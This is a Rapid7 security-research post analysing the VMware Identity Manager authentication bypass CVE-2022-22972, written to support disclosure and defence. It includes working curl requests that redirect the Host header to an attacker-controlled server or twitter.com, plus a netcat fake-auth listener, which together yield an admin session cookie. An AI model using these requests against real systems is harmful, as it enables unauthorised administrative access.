Rapid7
Back to Blog
Threat Research

Rapid7 Analysis: CVE-2022-22972

Rapid7 Labs
Rapid7 Labs
|Last updated on Jun 16, 2026|5 min read

Description

On May 18, 2022, VMware published VMSA-2022-0014 on CVE-2022-22972 and CVE-2022-22973. The more severe of the two vulnerabilities is CVE-2022-22972, a critical authentication bypass affecting VMware’s Workspace ONE Access, Identity Manager, and vRealize Automation 7.6’s embedded Identity Manager server. The vulnerability allows attackers with network access to the management interface to authenticate to the web console using any account. For high level details, see the Rapid7 blog post from May 19, 2022.

Affected products include:

  • VMware Workspace ONE Access 20.10.0.0 - 20.10.0.1
  • VMware Workspace ONE Access 21.08.0.0 - 21.08.0.1
  • VMware Identity Manager (vIDM) 3.3.3 - 3.3.6
  • vRealize Automation 7.6 (via the embedded vIDM server)

On May 26, 2022, Horizon3 released a proof of concept that works on vRealize, along with a detailed writeup. While this is an interesting vulnerability, we do not believe it will see widespread exploitation for several reasons:

  • The VMware management port is not typically exposed to the public internet
  • This vulnerability requires a server with a valid SSL certificate that the VMware server can connect to, which makes exploitation somewhat more complex (though services such as Let’s Encrypt make it fairly easy)
  • CVE-2022-22954 came out at roughly the same time, affects the same versions, is easier to exploit, and grants access to the OS instead of the web application

That being said, a public proof of concept exists so we will monitor for attacks.

Technical analysis

To analyze this issue, we used Horizon3’s proof of concept, though we modified it to work against our target host: VMware Identity Manager (vIDM) 3.3.3.0. Our analysis will use cURL requests against vIDM 3.3.3.0 to demonstrate the issue and impact.

Based on the exploit, VMware’s authentication endpoint appears to use the Host HTTP header to contact an upstream authentication server. Since the client controls the Host header, we can point it to another server, and VMware will authenticate to that server instead. To verify the user’s credentials, VMware sends a POST request containing the username, password, and other details to the /SAAS/API/1.0/REST/auth/local/login endpoint of the server listed in Host, then waits for an HTTP 200/OK response.

To demonstrate, we visited the authorization endpoint of our target server (https://target.server/SAAS/auth/login) and submitted the desired username and any password. We captured the outgoing authentication request using Firefox’s Network tab (Burp Suite would also work).

Here is the typical authentication request as cURL, with extraneous fields removed:

$ curl -iks 'https://target.server/SAAS/auth/login/embeddedauthbroker/callback' -H 'Host: target.server' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'protected_state=eyJ[...]9&userstore=System+Domain&username=admin&password=password&userstoreDisplay=System+Domain&horizonRelayState=f38e339d-36bb-4ae2-b740-e78b99d2e8c9&stickyConnectorId=&action=Sign+in'

[...]Your username or password is incorrect.[...]

In our lab, we have a reverse Nginx proxy that terminates SSL with a valid certificate and proxies the request to a lab host for analysis. We created a Netcat listener on that host to create the world’s simplest HTTP server, which will listen for the HTTP version of the request and respond with HTTP/1.1 200 OK to anything:

# echo -ne 'HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n' | nc -vv -l -p 80

Then changed the Host header of the VMware authentication request to point at the SSL proxy:

$ curl -iks 'https://target.server/SAAS/auth/login/embeddedauthbroker/callback' -H 'Host: attack.server' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'protected_state=eyJ[...]9&userstore=System+Domain&username=admin&password=password&userstoreDisplay=System+Domain&horizonRelayState=f38e339d-36bb-4ae2-b740-e78b99d2e8c9&stickyConnectorId=&action=Sign+in'
[...]
Set-Cookie: HZN=eyJ[...]w; Path=/; Secure; HttpOnly
[...]

On our fake authentication server, we see the request come in:

$ echo -ne 'HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n' | nc -v -l -p 8079
listening on [any] 8079 ...
connect to [10.0.0.123] from 10.0.0.1 34522
POST /SAAS/API/1.0/REST/auth/local/login HTTP/1.1
User-Agent: curl/7.79.1
Content-Type: application/json
Content-Length: 128
[...]

{"organizationName":"IDENTITY-MANAGER-3-3","username":"admin","password":"password","issuetoken":false,"domain":"System Domain"}

The VMware target issues the HZN cookie, which decodes to the following:

{
  "jti": "a274d75f-4fdd-446c-afdb-98b5d54c6818",
  "prn": "admin@IDENTITY-MANAGER-3-3",
  "domain": "System Domain",
  "user_id": "5",
  "auth_time": 1653592546,
  "iss": "https://attack.server/SAAS/auth",
  "aud": "https://attack.server/SAAS/auth/oauthtoken",
  "ctx": "[{\"mtd\":\"urn:vmware:names:ac:classes:LocalPasswordAuth\",\"iat\":1653592546,\"id\":3}]",
  "scp": "profile admin user email operator",
  [...]
}

We can see that it’s a valid authentication cookie for admin!

Just for fun, we checked the top-200 web servers, and discovered that Twitter (among several others) responds with a HTTP/200 on the desired endpoint. That means we can exploit it by changing our Host header to twitter.com instead of running our own TLS server:

$ curl -iks 'https://target.server/SAAS/auth/login/embeddedauthbroker/callback' -H 'Host: twitter.com' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'protected_state=ey[...]9&userstore=System+Domain&username=admin&password=password&userstoreDisplay=System+Domain&horizonRelayState=f38e339d-36bb-4ae2-b740-e78b99d2e8c9&stickyConnectorId=&action=Sign+in'
HTTP/1.1 302 
Set-Cookie: HZN=ey[...]A; Path=/; Secure; HttpOnly
[...]

That means an internet server is not required, and you could hypothetically simply leverage Twitter (editor’s note: please don’t bother Twitter!)

IOCs

This exploit requires the VMware server to create an outbound connection to a TLS server, which can run on any port, but requires a valid TLS certificate. The TLS server must respond with 200 OK, but otherwise can contain anything—a variety of servers on the Internet could easily be leveraged.

Unfortunately, outside of the unusual network traffic, we could not find anywhere in the host logs that indicates that this vulnerability had been exploited. By all appearances, this looks the same as a typical user login.

Guidance

VMware customers should patch their Workspace ONE Access, Identity Manager, and vRealize Automation installations as soon as possible. VMware has instructions on patching and applying workarounds. Additionally, if your installation is internet-facing, consider taking steps to remove direct access from the internet. It may also be prudent to follow CISA’s guidance on post-exploitation detection methods found in Alert (AA22-138B).

References

  • CVE - https://nvd.nist.gov/vuln/detail/CVE-2022-22972
  • Advisory - https://www.vmware.com/security/advisories/VMSA-2022-0014.html
  • Rapid7 blog - https://www.rapid7.com/blog/post/2022/05/19/cve-2022-22972-critical-authentication-bypass-in-vmware-workspace-one-access-identity-manager-and-vrealize-automation/
  • PoC - https://github.com/horizon3ai/CVE-2022-22972
  • Horizon3 technical writeup - https://www.horizon3.ai/vmware-authentication-bypass-vulnerability-cve-2022-22972-technical-deep-dive/
LinkedInFacebookXBluesky

Article Tags

Rapid7 Labs
Rapid7 Labs
Author Posts